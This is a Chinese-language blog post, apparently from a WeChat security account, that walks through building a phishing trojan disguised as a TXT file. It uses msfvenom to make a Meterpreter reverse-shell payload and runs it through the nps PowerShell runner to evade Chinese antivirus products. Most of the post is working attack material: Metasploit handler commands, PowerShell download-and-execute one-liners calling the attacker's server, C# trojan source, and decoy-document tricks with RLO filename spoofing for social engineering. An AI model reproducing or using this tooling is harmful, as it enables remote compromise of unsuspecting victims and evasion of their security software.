|
0x01 前言
2019年的一篇笔记,最近一直在熬夜追剧,已经很久没写文章了。今天在知识星球里看到@冷欲老哥发的“伪造TXT免杀木马.pdf”。
对他提出的两个问题进行了测试,并为其提供了一个简单的解决方案,顺便将原来测试过的“利用nps执行powershell命令”方法也一起记录在这里了!

1. 进程迁移
set AutoRunScript post/windows/manage/migrate NAME=notepad.exe);
2. 删除自身
笔者编程能力有限,暂时无法实现该功能,不过可以在进程迁移后删除该文件
0x02 msfveom生成ps1载荷
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.120 lport=443 -f psh-reflection > /var/www/html/powershell.ps1


在装有360、火绒、电脑管家等安全防护软件的目标主机上直接执行恶意powershell命令时会被拦截。

0x03 nps绕过防护执行ps1载荷
nps(https://github.com/Ben0xA/nps)项目是使用C#中的System.Management.Automation编写的一个powershell命令执行程序,不需要依赖于系统的powershell.exe,具体参数如下:
nps.exe "{powershell single command}" //执行单条powershell命令
nps.exe "& {commands; semi-colon; separated}" //执行多条命令,分号;分隔
nps.exe -encodedcommand {base64_encoded_command} //执行Base64编码命令
nps.exe -encode "commands to encode to base64" //编码字符串为Base64
nps.exe -decode {base64_encoded_command} //解码Base64为字符串
Compiling x86:
csc.exe /unsafe /reference:"C:windowsassemblyGAC_MSILSystem.Management.Automation1.0.0.0__31bf3856ad364e35System.Management.Automation.dll" /reference:System.IO.Compression.dll /out:NPSx86.exe /platform:x86 "nps*.cs"
Compiling x64:
csc.exe /unsafe /reference:"C:windowsassemblyGAC_MSILSystem.Management.Automation1.0.0.0__31bf3856ad364e35System.Management.Automation.dll" /reference:System.IO.Compression.dll /out:NPSx64.exe /platform:x64 "nps*.cs"

执行powershell payload时需要设置好以下监听参数,在下图中可以看到已经成功的获取到目标主机session会话,而且360、火绒、电脑管家等安全防护软件也都没有任何拦截和查杀提示。
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.0.120
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > set autorunscript post/windows/manage/migrate NAME=notepad.exe
msf5 exploit(multi/handler) > exploit
NPSx64.exe "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.120/powershell.ps1')"


web_delivery模块没能绕过安全防护的检测,在执行底层powershell时被火绒的系统加固检测到并拦截“隐藏执行PowerShell”,使用nps的-encodedcommand参数也一样被拦截了。

Error while executing the script.Missing expression after unary operator '-'.
,而csc.exe编译的nps就不会报错,神马情况我也不知道。
0x04 nps的一些问题和解决办法
问题描述:
不能直接使用该项目nps.zip压缩包中的nps.exe执行我们的powershell载荷,Windows10、2016执行后没有反应,Windows2012执行出现报错(Not PowerShell已停止工作),Windows2008执行后卡着不动。
而且还发现一个可疑TCP连接:218.93.208.223:8557,不知道这IP是从哪冒出来的,不过在Windows7上可以执行并能得到session会话。

解决办法:
用VS2012或csc.exe重新编译下源代码,用新编译的nps.exe就可以在Windows7/10/2012/2016上执行了,不过在Windows2008执行时还是会先出现那个可疑TCP连接:218.93.208.223:8557,等这个TCP连接消失后才能得到session会话,很是奇怪!
nps.exe "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.120/powershell.ps1')"

0x05 修改nps源码用于社工钓鱼
@冷欲老哥那篇文章的具体思路是:将重新编译的木马程序伪装成一个正常的txt,实现的功能是用户双击exe后弹出一个txt文档(在木马上级目录写入一个txt并打开,用来迷惑受害者,后台运行着Payload),但没能实现进程迁移和自删除功能。

这里我先将nps源码做了一些简化处理,暂时把无用代码都给删了,直接把我们要执行的Powershell Payload留着就行,在重新编译出来后还需要做一些伪装处理,继续往下看...。
using System;
using System.Collections.ObjectModel;
using System.Management.Automation;
namespace nps
{
internal class Program
{
private static void Main()
{
PowerShell powerShell = PowerShell.Create();
string script = "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.120/powershell.ps1')";
powerShell.AddScript(script);
Collection<PSObject> collection = null;
try
{
collection = powerShell.Invoke();
}
catch (Exception ex)
{
Console.WriteLine("Error while executing the script.rn" + ex.Message.ToString());
}
if (collection != null)
{
foreach (PSObject current in collection)
{
Console.WriteLine(current.ToString());
}
}
}
}
}
不足之处:
木马程序只修改了图标,在关闭“隐藏已知文件类型的扩展名”时可直接看见.EXE扩展名,并且有明显的PE特征,而且在木马文件属性的详细信息中也能看出端倪来。

思路扩展:
-
解决黑框闪退(VS2012编译前在项目属性的输出类型中选择“Windows 应用程序”即可);
-
写入和打开TXT(Windows系统自带程序迷惑受害者,如:记事本、画图、照片查看器等);
-
显示.EXE扩展名(可利用RLO文件名欺骗技术来解决“隐藏已知文件类型的扩展名”问题);
记事本:
nps.exe "notepad C:WindowsMicrosoft.NETFrameworkv4.0.30319ThirdPartyNotices.txt;IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.120/powershell.ps1')"
画图:
nps.exe "mspaint C:WindowsMicrosoft.NETFramework64v2.0.50727ASP.NETWebAdminFilesImagesASPdotNET_logo.jpg;IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.120/powershell.ps1')"
照片查看器:
nps.exe "rundll32 %windir%/system32/shimgvw.dll,ImageView_Fullscreen C:WindowsMicrosoft.NETFramework64v2.0.50727ASP.NETWebAdminFilesImagesASPdotNET_logo.jpg;IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.120/powershell.ps1')"
RLO文件名欺骗技术已经出来有些年头,所以现在TIM和QQ都已经禁止传输此类文件了,而且在打开压缩包文件中也都能直接看出来问题了,如下图。


注:对想到的几个思路进行测试后发现@冷欲老哥提出的这种利用方式并不适用于社工钓鱼,所以我也就到此为止不再继续往下写了,如果大家有更好的思路和想法,还请不吝赐教,一起讨论学习!
还在等什么?赶紧点击下方名片关注学习吧!
推 荐 阅 读



欢 迎 私 下 骚 扰

- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论